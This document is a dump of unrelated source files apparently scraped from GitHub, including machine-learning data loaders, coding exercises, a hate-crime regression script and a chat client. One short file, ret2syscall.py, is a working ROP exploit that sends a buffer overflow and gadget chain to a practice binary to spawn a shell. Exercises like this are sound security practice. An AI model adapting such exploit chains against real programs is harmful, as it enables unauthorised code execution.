changed\n cache, exists = self.cache_labels(cache_path, prefix), False # re-cache\n else:\n cache, exists = self.cache_labels(cache_path, prefix), False # cache\n\n # Display cache\n nf, nm, ne, nc, n = cache.pop('results') # found, missing, empty, corrupted, total\n if exists:\n d = f\"Scanning '{cache_path}' images and labels... {nf} found, {nm} missing, {ne} empty, {nc} corrupted\"\n tqdm(None, desc=prefix + d, total=n, initial=n) # display cache results\n assert nf > 0 or not augment, f'{prefix}No labels in {cache_path}. Can not train without labels. See {help_url}'\n\n # Read cache\n cache.pop('hash') # remove hash\n cache.pop('version') # remove version\n labels, shapes, self.segments, lb_files = zip(*cache.values())\n self.labels = list(labels)\n self.shapes = np.array(shapes, dtype=np.float64)\n self.img_files = list(cache.keys()) # update\n self.label_files = list(lb_files) # update\n if single_cls:\n for x in self.labels:\n x[:, 0] = 0\n\n n = len(shapes) # number of images\n bi = np.floor(np.arange(n) / batch_size).astype(np.int) # batch index\n nb = bi[-1] + 1 # number of batches\n self.batch = bi # batch index of image\n self.n = n\n self.indices = range(n)\n\n # Rectangular Training\n if self.rect:\n # Sort by aspect ratio\n s = self.shapes # wh\n ar = s[:, 1] / s[:, 0] # aspect ratio\n irect = ar.argsort()\n self.img_files = [self.img_files[i] for i in irect]\n self.label_files = [self.label_files[i] for i in irect]\n self.labels = [self.labels[i] for i in irect]\n self.shapes = s[irect] # wh\n ar = ar[irect]\n\n # Set training image shapes\n shapes = [[1, 1]] * nb\n for i in range(nb):\n ari = ar[bi == i]\n mini, maxi = ari.min(), ari.max()\n if maxi < 1:\n shapes[i] = [maxi, 1]\n elif mini > 1:\n shapes[i] = [1, 1 / mini]\n\n self.batch_shapes = np.ceil(np.array(shapes) * img_size / stride + pad).astype(np.int) * stride\n\n # Cache images into memory for faster training (WARNING: large datasets may exceed system RAM)\n self.imgs = [None] * n\n if cache_images:\n gb = 0 # Gigabytes of cached images\n self.img_hw0, self.img_hw = [None] * n, [None] * n\n results = ThreadPool(8).imap(lambda x: load_image(*x), zip(repeat(self), range(n))) # 8 threads\n pbar = tqdm(enumerate(results), total=n)\n for i, x in pbar:\n self.imgs[i], self.img_hw0[i], self.img_hw[i] = x # img, hw_original, hw_resized = load_image(self, i)\n gb += self.imgs[i].nbytes\n pbar.desc = f'{prefix}Caching images ({gb / 1E9:.1f}GB)'\n pbar.close()\n\n def cache_labels(self, path=Path('./labels.cache'), prefix=''):\n # Cache dataset labels, check images and read shapes\n x = {} # dict\n nm, nf, ne, nc = 0, 0, 0, 0 # number missing, found, empty, duplicate\n pbar = tqdm(zip(self.img_files, self.label_files), desc='Scanning images', total=len(self.img_files))\n for i, (im_file, lb_file) in enumerate(pbar):\n try:\n # verify images\n im = Image.open(im_file)\n im.verify() # PIL verify\n shape = exif_size(im) # image size\n segments = [] # instance segments\n assert (shape[0] > 9) & (shape[1] > 9), f'image size {shape} <10 pixels'\n assert im.format.lower() in img_formats, f'invalid image format {im.format}'\n\n # verify labels\n if os.path.isfile(lb_file):\n nf += 1 # label found\n with open(lb_file, 'r') as f:\n l = [x.split() for x in f.read().strip().splitlines()]\n if any([len(x) > 8 for x in l]): # is segment\n classes = np.array([x[0] for x in l], dtype=np.float32)\n segments = [np.array(x[1:], dtype=np.float32).reshape(-1, 2) for x in l] # (cls, xy1...)\n l = np.concatenate((classes.reshape(-1, 1), segments2boxes(segments)), 1) # (cls, xywh)\n l = np.array(l, dtype=np.float32)\n if len(l):\n assert l.shape[1] == 5, 'labels require 5 columns each'\n assert (l >= 0).all(), 'negative labels'\n assert (l[:, 1:] <= 1).all(), 'non-normalized or out of bounds coordinate labels'\n assert np.unique(l, axis=0).shape[0] == l.shape[0], 'duplicate labels'\n else:\n ne += 1 # label empty\n l = np.zeros((0, 5), dtype=np.float32)\n else:\n nm += 1 # label missing\n l = np.zeros((0, 5), dtype=np.float32)\n x[im_file] = [l, shape, segments, lb_file]\n except Exception as e:\n nc += 1\n print(f'{prefix}WARNING: Ignoring corrupted image and/or label {im_file}: {e}')\n\n pbar.desc = f\"{prefix}Scanning '{path.parent / path.stem}' images and labels... \" \\\n f\"{nf} found, {nm} missing, {ne} empty, {nc} corrupted\"\n pbar.close()\n\n if nf == 0:\n print(f'{prefix}WARNING: No labels found in {path}. See {help_url}')\n\n x['hash'] = get_hash(self.label_files + self.img_files)\n x['results'] = nf, nm, ne, nc, i + 1\n x['version'] = 0.1 # cache version\n torch.save(x, path) # save for next time\n logging.info(f'{prefix}New cache created: {path}')\n return x\n\n def __len__(self):\n return len(self.img_files)\n\n # def __iter__(self):\n # self.count = -1\n # print('ran dataset iter')\n # #self.shuffled_vector = np.random.permutation(self.nF) if self.augment else np.arange(self.nF)\n # return self\n\n def __getitem__(self, index):\n index = self.indices[index] # linear, shuffled, or image_weights\n\n hyp = self.hyp\n mosaic = self.mosaic and random.random() < hyp['mosaic']\n if mosaic:\n # Load mosaic\n img, labels = load_mosaic(self, index)\n shapes = None\n\n # MixUp https://arxiv.org/pdf/1710.09412.pdf\n if random.random() < hyp['mixup']:\n img2, labels2 = load_mosaic(self, random.randint(0, self.n - 1))\n r = np.random.beta(8.0, 8.0) # mixup ratio, alpha=beta=8.0\n img = (img * r + img2 * (1 - r)).astype(np.uint8)\n labels = np.concatenate((labels, labels2), 0)\n\n else:\n # Load image\n img, (h0, w0), (h, w) = load_image(self, index)\n\n # Letterbox\n shape = self.batch_shapes[self.batch[index]] if self.rect else self.img_size # final letterboxed shape\n img, ratio, pad = letterbox(img, shape, auto=False, scaleup=self.augment)\n shapes = (h0, w0), ((h / h0, w / w0), pad) # for COCO mAP rescaling\n\n labels = self.labels[index].copy()\n if labels.size: # normalized xywh to pixel xyxy format\n labels[:, 1:] = xywhn2xyxy(labels[:, 1:], ratio[0] * w, ratio[1] * h, padw=pad[0], padh=pad[1])\n\n if self.augment:\n # Augment imagespace\n if not mosaic:\n img, labels = random_perspective(img, labels,\n degrees=hyp['degrees'],\n translate=hyp['translate'],\n scale=hyp['scale'],\n shear=hyp['shear'],\n perspective=hyp['perspective'])\n\n # Augment colorspace\n augment_hsv(img, hgain=hyp['hsv_h'], sgain=hyp['hsv_s'], vgain=hyp['hsv_v'])\n\n # Apply cutouts\n # if random.random() < 0.9:\n # labels = cutout(img, labels)\n\n nL = len(labels) # number of labels\n if nL:\n labels[:, 1:5] = xyxy2xywh(labels[:, 1:5]) # convert xyxy to xywh\n labels[:, [2, 4]] /= img.shape[0] # normalized height 0-1\n labels[:, [1, 3]] /= img.shape[1] # normalized width 0-1\n\n if self.augment:\n # flip up-down\n if random.random() < hyp['flipud']:\n img = np.flipud(img)\n if nL:\n labels[:, 2] = 1 - labels[:, 2]\n\n # flip left-right\n if random.random() < hyp['fliplr']:\n img = np.fliplr(img)\n if nL:\n labels[:, 1] = 1 - labels[:, 1]\n\n labels_out = torch.zeros((nL, 6))\n if nL:\n labels_out[:, 1:] = torch.from_numpy(labels)\n\n # Convert\n img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416\n img = np.ascontiguousarray(img)\n\n return torch.from_numpy(img), labels_out, self.img_files[index], shapes\n\n @staticmethod\n def collate_fn(batch):\n img, label, path, shapes = zip(*batch) # transposed\n for i, l in enumerate(label):\n l[:, 0] = i # add target image index for build_targets()\n return torch.stack(img, 0), torch.cat(label, 0), path, shapes\n\n @staticmethod\n def collate_fn4(batch):\n img, label, path, shapes = zip(*batch) # transposed\n n = len(shapes) // 4\n img4, label4, path4, shapes4 = [], [], path[:n], shapes[:n]\n\n ho = torch.tensor([[0., 0, 0, 1, 0, 0]])\n wo = torch.tensor([[0., 0, 1, 0, 0, 0]])\n s = torch.tensor([[1, 1, .5, .5, .5, .5]]) # scale\n for i in range(n): # zidane torch.zeros(16,3,720,1280) # BCHW\n i *= 4\n if random.random() < 0.5:\n im = F.interpolate(img[i].unsqueeze(0).float(), scale_factor=2., mode='bilinear', align_corners=False)[\n 0].type(img[i].type())\n l = label[i]\n else:\n im = torch.cat((torch.cat((img[i], img[i + 1]), 1), torch.cat((img[i + 2], img[i + 3]), 1)), 2)\n l = torch.cat((label[i], label[i + 1] + ho, label[i + 2] + wo, label[i + 3] + ho + wo), 0) * s\n img4.append(im)\n label4.append(l)\n\n for i, l in enumerate(label4):\n l[:, 0] = i # add target image index for build_targets()\n\n return torch.stack(img4, 0), torch.cat(label4, 0), path4, shapes4\n","repo_name":"tsheng56/tsh_cv_demo","sub_path":"detect/datasets/yolo_datasets_list.py","file_name":"yolo_datasets_list.py","file_ext":"py","file_size_in_byte":15151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"2023114482","text":"'''\nProblem: If d_n represents the nth digit of the fractional part,\nfind the value of the following expression: d_1 * d_10 * ... * d_1000000.\n\nThe first strategy we'll employ is a basic brute force approach. We'll keep\nadding numbers to the end of a string until the length reaches above 1000000.\nThen we simply convert each character at the specified position to an integer and\nmultiply them all together.\n'''\ndef solution1(n):\n digits, length = '', 0\n for i in range(n):\n digits += str(i) # Add the number to our string\n length += len(str(i))\n if length > n: # Length above the limit, so we're done\n break\n prod = 1\n for k in range(7):\n prod*=int(digits[10**k]) # Multiply the specified digits together\n return prod\n'''\nBut of course we can do way better than that. How about developing an algorithm\nthat quickly finds the digit we're looking for? Well, we note that for the \nfirst 9 numbers, only one digit is taken up. Then for the next 90, two digits are \ntaken up. This pattern will continue, so we can create a list of the index positions \nthat represent 9, 99, 999 and so on. Then we take the divmod of the position d minus \nthe closest value in the list with the size of the numbers we're dealing with. \nThe result of the division tells us which number to pull the digits from, and the \nmodulus tells us how far to go up until we get the digit we want.\nIt's not easy to explain in words, so let's take a look:\n'''\ndef find_digit(vals, d): # Take in position list vals, and digit# d\n i = 0 # i = length of numbers\n while vals[i] < d:\n i+=1\n go, up = divmod(d - vals[i-1], i) # up = number of extra digits\n cur = 10**(i-1)+go-1 # cur = number we pull digits from\n if up == 0:\n return int(str(cur)[-1]) # If no extra, pull from end of cur\n cur += 1\n return int(str(cur)[up-1]) # Otherwise, pull from next number up\n'''\nNow we just need to create a list of digit positions for 9, 99 ..., and find the digits\nfor each of the powers of 10 up to 1 million. \n'''\ndef solution2(n):\n vals, i, k = [], 0, 1\n while i < n:\n vals.append(i) # Append the digit position\n i += k*9*10**(k-1) # Add next number of digits to i\n k += 1\n vals.append(i)\n prod = 1\n for j in range(7):\n prod*=find_digit(vals, 10**j) # Find the product of the digits\n return prod\n'''\nThe second solution runs in almost no time at all, vastly improving upon \nthe previous one.\n'''\nprint('Champernowne\\'s const:', solution2(1000000)) # Champernowne's const: 210\n","repo_name":"bam0/Project-Euler-First-100-Problems","sub_path":"Problems_21-40/P40_Champernowne_Const.py","file_name":"P40_Champernowne_Const.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24197126108","text":"#function to split list into 2\ndef split_list(input_list):\n\tif (len(input_list)==1):\n\t\tprint(\"Delivering to \" + input_list[0])\n\telse:\n\t\tmid = len(input_list) // 2\n\t\n\t\tinput_list_1st_half = input_list[:mid]\n\t\tinput_list_2nd_half = input_list[mid:]\n\t\tsplit_list(input_list_1st_half)\n\t\tsplit_list(input_list_2nd_half)\n\n#function of fib using while loop\ndef fib(n):\n\ta = 1\n\tb = 1\n\tcount = 0\n\n\twhile(count < n):\n\t\tcount+=1\n\t\told_a = a\n\t\ta = b\n\t\tb = old_a + b\n\treturn(a)\n\n#function of fib using recursion (not always the best way), but can reduce lines of code / it is simpler\ndef fib_recursive(n):\n\t#base case\n\tif(n <= 1):\n\t\treturn(1)\n\telse:\n\t\treturn(fib_recursive(n-1)+fib_recursive(n-2))\n\t\t\n#call functions\ndef main():\n\tlist_1 = ['House_1', 'House_2', 'House_3', 'House_4']\n\tsplit_list(list_1)\n\n\t# print(christmas_fact(n = 4))\n\tprint(fib(n=0))\n\tprint(fib(n=1))\n\tprint(fib(n=2))\n\tprint(fib(n=5))\n\tprint(fib_recursive(n=0))\n\tprint(fib_recursive(n=1))\n\tprint(fib_recursive(n=2))\n\tprint(fib_recursive(n=5))\n\n\nif __name__ == '__main__':\n\tmain()","repo_name":"aricannon21/repo_2","sub_path":"Lab_12.py","file_name":"Lab_12.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"9496690371","text":"def soChuSoChan(x):\n return len(str(x)) % 2 == 0\n\n\ndef chuSoChan(x):\n x = str(x)\n for i in x:\n if int(i) % 2 == 1:\n return False\n return True\n\n\ndef isThuanNghic(x):\n x = str(x)\n return x == x[::-1]\n\n\nt = int(input())\nwhile t > 0:\n t -= 1\n n = int(input())\n for i in range(22, n, 22):\n if isThuanNghic(i) and soChuSoChan(i) and chuSoChan(i):\n print(i, end=' ')\n print()\n","repo_name":"iamPom/Python-Exercises-PTIT","sub_path":"PythonCodePtit/basicPython/soThuanNghichChan.py","file_name":"soThuanNghichChan.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40496769374","text":"#! /usr/bin/python3\n\nfrom pwn import *\n\npop_eax_ret = 0x080bb196\npop_edx_ecx_ebx_ret = 0x0806eb90\nbin_sh_addr = 0x080be408\nint_80_addr = 0x08049421\noffset = 0x6c+4\n\nsh = process(\"./ret2syscall\")\nsh.sendline(b'A'*offset+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(bin_sh_addr)+p32(int_80_addr))\nsh.interactive()\n","repo_name":"q924954198/CTF","sub_path":"ret2syscall.py","file_name":"ret2syscall.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24433272968","text":"import time\nimport os\nimport random\nimport numpy as np\nimport torch\nimport torch.utils.data\n\nfrom mel_processing import spectrogram_torch\nfrom utils import load_wav_to_torch, load_filepaths_and_spk\nfrom data_aug import PhoneAug,SpecAug\n\n\n# spec data loader\nclass SpecDataLoader(torch.utils.data.Dataset):\n \"\"\"\n 1) loads audio, speaker_id pairs\n 2) computes spectrograms from audio files.\n \"\"\"\n def __init__(self, audiopaths_sid, args):\n self.audiopaths_sid = load_filepaths_and_spk(audiopaths_sid)\n self.max_wav_value = args.max_wav_value\n self.sampling_rate = args.sampling_rate\n self.filter_length = args.filter_length\n self.hop_length = args.hop_length\n self.win_length = args.win_length\n\n # data augmentation\n self.use_spec_aug = True\n self.specAug = SpecAug(3,10,10,10,2,2)\n random.seed(1234)\n random.shuffle(self.audiopaths_sid)\n self.get_lengths()\n\n def spec_aug_pair(self,spec):\n specAugMode=random.randint(0,6)\n spec_=spec.unsqueeze(0) \n specAug1=self.specAug.dataProcess(specAugMode,spec_)\n specAug2=self.specAug.dataProcess(specAugMode,spec_)\n specAug1=specAug1.squeeze(0)\n specAug2=specAug2.squeeze(0)\n return specAug1,specAug2\n\n def get_audio_speaker_pair(self, audiopath_sid):\n # separate filename, speaker_id\n audiopath, sid = audiopath_sid[0], audiopath_sid[1]\n spec, wav = self.get_audio(audiopath)\n sid = self.get_sid(sid)\n # data augmentation\n specAug1,specAug2=self.spec_aug_pair(spec)\n return (spec, wav, sid,specAug1,specAug2)\n\n def get_audio(self, filename):\n audio, sampling_rate = load_wav_to_torch(filename)\n if sampling_rate != self.sampling_rate:\n raise ValueError(\"{} {} SR doesn't match target {} SR\".format(\n sampling_rate, self.sampling_rate))\n audio_norm = audio / self.max_wav_value\n audio_norm = audio_norm.unsqueeze(0)\n spec_filename = filename.replace(\".wav\", \".spec.pt\")\n os.system(\"rm -rf {}\".format(spec_filename))\n if os.path.exists(spec_filename):\n spec = torch.load(spec_filename)\n else:\n spec = spectrogram_torch(audio_norm, self.filter_length,\n self.sampling_rate, self.hop_length, self.win_length,\n center=False)\n spec = torch.squeeze(spec, 0)\n torch.save(spec, spec_filename)\n return spec, audio_norm\n\n def get_lengths(self):\n lengths = []\n for audiopath, sid in self.audiopaths_sid:\n lengths.append(os.path.getsize(audiopath) // (2 * self.hop_length))\n self.lengths = lengths\n\n def get_sid(self, sid):\n sid = torch.LongTensor([int(sid)])\n return sid\n\n def __getitem__(self, index):\n return self.get_audio_speaker_pair(self.audiopaths_sid[index])\n\n def __len__(self):\n return len(self.audiopaths_sid)\n\n\nclass SpecSpeakerCollate():\n \"\"\" Zero-pads model inputs and targets\n \"\"\"\n def __init__(self):\n pass\n\n def __call__(self, batch):\n \"\"\"Collate's training batch from normalized text, audio and speaker identities\n PARAMS\n ------\n batch: [spec_normalized, wav_normalized, sid]\n \"\"\"\n \n\n max_spec_len = max([x[0].size(1) for x in batch])\n max_wav_len = max([x[1].size(1) for x in batch])\n\n spec_lengths = torch.LongTensor(len(batch))\n wav_lengths = torch.LongTensor(len(batch))\n sid = torch.LongTensor(len(batch))\n\n spec_padded = torch.FloatTensor(len(batch), batch[0][0].size(0), max_spec_len)\n wav_padded = torch.FloatTensor(len(batch), 1, max_wav_len)\n \n spec_padded.zero_()\n wav_padded.zero_()\n \n # spec augmentation\n spec_padded0 = torch.FloatTensor(len(batch), batch[0][0].size(0), max_spec_len)\n spec_padded1 = torch.FloatTensor(len(batch), batch[0][0].size(0), max_spec_len)\n \n\n spec_padded0.zero_()\n spec_padded1.zero_()\n for i in range(len(batch)):\n row = batch[i]\n\n spec = row[0]\n spec_padded[i, :, :spec.size(1)] = spec\n spec_lengths[i] = spec.size(1)\n\n wav = row[1]\n wav_padded[i, :, :wav.size(1)] = wav\n wav_lengths[i] = wav.size(1)\n\n sid[i] = row[2]\n \n spec_aug0=row[3]\n spec_padded0[i,:,:spec_aug0.size(1)]=spec_aug0\n spec_aug1=row[4]\n spec_padded1[i,:,:spec_aug1.size(1)]=spec_aug1 \n \n return spec_padded, spec_lengths, wav_padded, wav_lengths, sid, spec_padded0,spec_padded1\n\n\nclass DistributedBucketSampler(torch.utils.data.distributed.DistributedSampler):\n \"\"\"\n Maintain similar input lengths in a batch.\n Length groups are specified by boundaries.\n Ex) boundaries = [b1, b2, b3] -> any batch is included either {x | b1 < length(x) <=b2} or {x | b2 < length(x) <= b3}.\n \n It removes samples which are not included in the boundaries.\n Ex) boundaries = [b1, b2, b3] -> any x s.t. length(x) <= b1 or length(x) > b3 are discarded.\n \"\"\"\n def __init__(self, dataset, batch_size, boundaries, num_replicas=None, rank=None, shuffle=True):\n super().__init__(dataset, num_replicas=num_replicas, rank=rank, shuffle=shuffle)\n self.lengths = dataset.lengths\n self.batch_size = batch_size\n self.boundaries = boundaries\n \n self.buckets, self.num_samples_per_bucket = self._create_buckets()\n self.total_size = sum(self.num_samples_per_bucket)\n self.num_samples = self.total_size // self.num_replicas\n \n def _create_buckets(self):\n buckets = [[] for _ in range(len(self.boundaries) - 1)]\n for i in range(len(self.lengths)):\n length = self.lengths[i]\n idx_bucket = self._bisect(length)\n if idx_bucket != -1:\n buckets[idx_bucket].append(i)\n \n for i in range(len(buckets) - 1, 0, -1):\n if len(buckets[i]) == 0:\n buckets.pop(i)\n self.boundaries.pop(i+1)\n \n num_samples_per_bucket = []\n for i in range(len(buckets)):\n len_bucket = len(buckets[i])\n total_batch_size = self.num_replicas * self.batch_size\n rem = (total_batch_size - (len_bucket % total_batch_size)) % total_batch_size\n num_samples_per_bucket.append(len_bucket + rem)\n return buckets, num_samples_per_bucket\n \n def __iter__(self):\n # deterministically shuffle based on epoch\n g = torch.Generator()\n g.manual_seed(self.epoch)\n \n indices = []\n if self.shuffle:\n for bucket in self.buckets:\n indices.append(torch.randperm(len(bucket), generator=g).tolist())\n else:\n for bucket in self.buckets:\n indices.append(list(range(len(bucket))))\n \n batches = []\n for i in range(len(self.buckets)):\n bucket = self.buckets[i]\n len_bucket = len(bucket)\n ids_bucket = indices[i]\n num_samples_bucket = self.num_samples_per_bucket[i]\n \n # add extra samples to make it evenly divisible\n rem = num_samples_bucket - len_bucket\n ids_bucket = ids_bucket + ids_bucket * (rem // len_bucket) + ids_bucket[:(rem % len_bucket)]\n \n # subsample\n ids_bucket = ids_bucket[self.rank::self.num_replicas]\n \n # batching\n for j in range(len(ids_bucket) // self.batch_size):\n batch = [bucket[idx] for idx in ids_bucket[j*self.batch_size:(j+1)*self.batch_size]]\n batches.append(batch)\n \n if self.shuffle:\n batch_ids = torch.randperm(len(batches), generator=g).tolist()\n batches = [batches[i] for i in batch_ids]\n self.batches = batches\n \n assert len(self.batches) * self.batch_size == self.num_samples\n return iter(self.batches)\n \n def _bisect(self, x, lo=0, hi=None):\n if hi is None:\n hi = len(self.boundaries) - 1\n \n if hi > lo:\n mid = (hi + lo) // 2\n if self.boundaries[mid] < x and x <= self.boundaries[mid+1]:\n return mid\n elif x <= self.boundaries[mid]:\n return self._bisect(x, lo, mid)\n else:\n return self._bisect(x, mid + 1, hi)\n else:\n return -1\n\n def __len__(self):\n return self.num_samples // self.batch_size\n\nif __name__==\"__main__\":\n pass","repo_name":"QinHsiu/CL4SRL","sub_path":"src/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":8570,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"25792524762","text":"# 13. Roman to Integer\nclass Solution:\n def romanToInt(self, s: str) -> int:\n # solution 1:\n # num = 0\n # roman = {'I': 1, 'IV': 4, 'V': 5, 'IX': 9, 'X': 10, 'XL':40, \n # 'L': 50, 'XC':90, 'C': 100, 'CD': 400, 'D': 500, 'CM': 900, 'M': 1000}\n # i = 0\n # while i < len(s):\n # if s[i:i+2] in roman.keys():\n # num += (roman.get(s[i:i+2]))\n # i = i+2\n # else:\n # num += (roman.get(s[i]))\n # i += 1\n # return num\n ## solution 2:\n number_map = {\"I\": 1, \"V\": 5, \"X\": 10, \"L\": 50, \"C\": 100, \"D\": 500, \"M\": 1000}\n result = 0\n for i in range(0,len(s)):\n if i > 0 and number_map[s[i]] > number_map[s[i-1]]:\n result += (number_map[s[i]] - 2*number_map[s[i-1]])\n else:\n result += number_map[s[i]]\n \n return result\nS = Solution()\ny = S.romanToInt(\"MCMXCIV\")\nprint(y)\n","repo_name":"sea-yjd/leetcode","sub_path":"13_Roman_to_Integer.py","file_name":"13_Roman_to_Integer.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17558082366","text":"'''\nCreated on 27 oct. 2019\n\n@author: ingov\n'''\n#We import pandas to manage our data through dataframes\nimport pandas as pd\n#We import this modules to handle linear regression tasks\nfrom sklearn import datasets, linear_model\n#We import this modules to handle r square calculations\nfrom sklearn.metrics import mean_squared_error,r2_score\n#We import matplotlib to handle how to plot charts\nimport matplotlib.pyplot as plt\n#We import numpy to handle math tasks\nimport numpy as np\n#We import this custom made module to handle how to get the information in the format\n#we need for our dataframes\nfrom data import getDataFrame as gdf\n\n#We create two different dataframes reading those excel files\nprint(\"Loading data\")\ndflgtbiphobia = gdf.getDataFrameReady(\"Lgtbifobia\", \"Name\", \"../data/ProvincesCoordinates.xlsx\", \"../data/HateCrimes\")\nprint(dflgtbiphobia)\n\ndfxenophobia = gdf.getDataFrameReady(\"Xenofobia\", \"Name\", \"../data/ProvincesCoordinates.xlsx\", \"../data/HateCrimes\")\nprint(dfxenophobia)\n#We create a dataframe using the dataframe that contains the data for lgtbiphobic crimes\n#but we filter the dataframe getting only the columns that contain the number of crimes per year\n#and use the function sum() to get the total of lgtbiphobic crimes every year. We also use the\n#function rename to give this dataseries a name so when it necomes a row for our dataframe, it\n#has an index with an appropiate name\nprint(\"Performing some transformations\")\ndf = pd.DataFrame(dflgtbiphobia[range(2014,2018)].sum().rename(\"lgtbiphobia\"))\n#We transpose the dataframe so now it has one row and 4 columns. The row represents lgtbiphobic\n#crimes and every column represent the number of those crimes per year\ndf = df.T\n#Now we add the xenophonic crimes per year, using the same transformation we used earlier\n#we get the number of those crimes per year using sum and we give the row a name so it has an\n#index with an appropiate name\ndf = df.append(dfxenophobia[range(2014,2018)].sum().rename(\"Xenophobia\"))\n#Now we have a valid matrix for chi square. As we have our variables as row and the frequency\n#for each different year as columns\nprint(\"Our data for our regression:\")\nprint(df)\n#We have to get our two variables in different array series. We use loc to get the row whose\n#index is the variable we are looking for and we rename it. We have to build it as a numpy array\n#so we can use the function reshape with parameters (-1,1) so our array is a 2D array\n#This is needed for variable X in a next step\nX = np.array(df.loc[\"lgtbiphobia\"].rename(\"lgtbiphobia\"))\nX = X.reshape(-1,1)\nprint(\"Our variable X: lgtbiphobic crimes:\\n{0}\".format(X))\n#We get our variable Y to check if there is linear correlation. In this case, there is no need\n#to transform this series into a numpy array\nY = df.loc[\"Xenophobia\"].rename(\"Xenophobia\")\nprint(\"Our variable Y: xenophobic crimes:\\n{0}\".format(Y))\n#We create an object for linear regression using linear_model\nregr = linear_model.LinearRegression()\n#We use the function fit and the objects that represents our variables X and Y to make our\n#object for linear regression to update all variables for linear regression with our data\nregr.fit(X,Y)\n#We get the correlation coefficient using the first position of the variable coef_ of our object\n#for linear regression\ncoefcorr = regr.coef_[0]\nprint(\"Coeficientes: \",coefcorr)\n#We evalutate the correlation between our variables\nif(coefcorr == 1):\n print(\"There is a perfect positive correlation between our variables\")\nelif(1 > coefcorr >= 0.7):\n print(\"There is a strong positive correlation between our variables\")\nelif(0.7 > coefcorr >= 0.5):\n print(\"There is positive correlation between our variables\")\nelif(0.5 > coefcorr > 0):\n print(\"There is very weak positive correlation between our variables\")\nelif(coefcorr == 0):\n print(\"There is absolutely no correlation between our variables\")\nelif(coefcorr == -1):\n print(\"There is a perfect negative correlation between our variables\")\nelif(-1 < coefcorr <= -0.7):\n print(\"There is a strong negative correlation between our variables\")\nelif(-0.7 < coefcorr <= -0.5):\n print(\"There is negative correlation between our variables\")\nelif(-0.5 < coefcorr < 0):\n print(\"There is a very weak negative correlation between our variables\")\n\n#Now we use our variable X and the method predict to generate the value for our variable Y\n#that this linear model returns as a prediction\nY_pred = regr.predict(X)\nprint(\"Y_pred\")\nprint(Y_pred)\n#Now we get the parameter R square, which measures the differences between our variable Y\n# and the values we predict for this variable Y in our model\nrsquare = r2_score(Y, Y_pred)\nprint(\"R cuadrado: \",rsquare)\nif(rsquare == 1):\n print(\"There is a perfect correlation between our variables\")\nelif(1 > rsquare >= 0.7):\n print(\"There is a very strong correlation between our variables\")\nelif(0.7 > rsquare >= 0.5):\n print(\"There is strong correlation between our variables\")\nelif(0.5 > rsquare > 0.3):\n print(\"There is correlation between our variables\")\nelif(0.3 >= rsquare > 0):\n print(\"There is very weak correlation between our variables\")\nelif(rsquare == 0):\n print(\"There is absolutely no correlation between our variables\")\n#So our variables are likely not independent, but there is a very week negative correlation between\n#them\nplt.scatter(X, Y, color = \"black\" )\nplt.plot(X,Y_pred,color=\"Blue\")\nplt.xlabel(\"Lgtbiphobic crimes\")\nplt.ylabel(\"Xenophobic crimes\")\nplt.title(\"Linear Regression Graph\")\nfor i in range(0,len(df.columns)):\n plt.annotate(df.columns[i], np.array(df[df.columns[i]])) \nplt.show()\n","repo_name":"AntoData/Hate_Crimes_Spain_2014_2017","sub_path":"Instantiators/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"45221380633","text":"import asyncio\nimport tkinter as tk\nimport json\nfrom pathlib import PosixPath, Path\nfrom utils.chat import open_connection, get_answer\nfrom utils.parser import get_parser\nfrom utils.files import write_line_to_file\n\n\nasync def get_account_hash(\n reader: asyncio.streams.StreamReader,\n writer: asyncio.streams.StreamReader,\n nick_name: str) -> dict:\n await get_answer(reader)\n writer.write('\\n'.encode())\n await get_answer(reader)\n writer.write(f'{nick_name}\\n'.encode())\n await writer.drain()\n credentials: dict = json.loads(\n await reader.readline())\n if 'account_hash' in credentials:\n return credentials['account_hash']\n\n\nasync def fetch_user_hash(\n nick_name: str,\n host: str, port: str) -> None:\n\n async with open_connection(\n server=host, port=port,\n attempts=3) as rw:\n reader, writer = rw\n account_hash: str = await get_account_hash(\n reader, writer, nick_name)\n env_path: PosixPath = Path('.') / '.env'\n await write_line_to_file(env_path,\n f'TOKEN={account_hash}',\n mode='w')\n\n\ndef register_user(nick_name: str, label: tk.Label,\n host: str, port: str):\n answer = tk.messagebox.askyesno(\n title=\"Warning\",\n message=f\"Is '{nick_name}' nick name correct?\")\n if answer:\n asyncio.run(fetch_user_hash(\n nick_name=nick_name,\n host=host, port=port))\n label['text'] = f'Now you can connect to chat as {nick_name}'\n\n\ndef get_window_center_dimensions(root) -> tuple:\n window_width: int = root.winfo_screenwidth()\n window_height: int = root.winfo_screenheight()\n windows_offset = 200\n center_width: int = window_width//2 - windows_offset\n center_height: int = window_height//2 - windows_offset\n\n return (center_width, center_height)\n\n\ndef main():\n\n args = get_parser(\n is_registration=True).parse_args()\n\n root = tk.Tk()\n root.title(\"Chat registration\")\n root_width, root_height = get_window_center_dimensions(root)\n root.geometry(f'450x150+{root_width}+{root_height}')\n info_label = tk.Label(\n text=\"Enter you nick name\",\n font=\"Arial 14 bold\", pady=5)\n info_label.pack()\n nick_name_entry = tk.Entry(width=40)\n nick_name_entry.pack(pady=10)\n\n register_button = tk.Button(\n text='Register',\n width=15, height=3)\n register_button['command'] = lambda: register_user(\n nick_name=nick_name_entry.get(),\n label=info_label,\n host=args.host, port=args.output_port)\n register_button.pack()\n root.mainloop()\n\n\nif __name__ == '__main__':\n 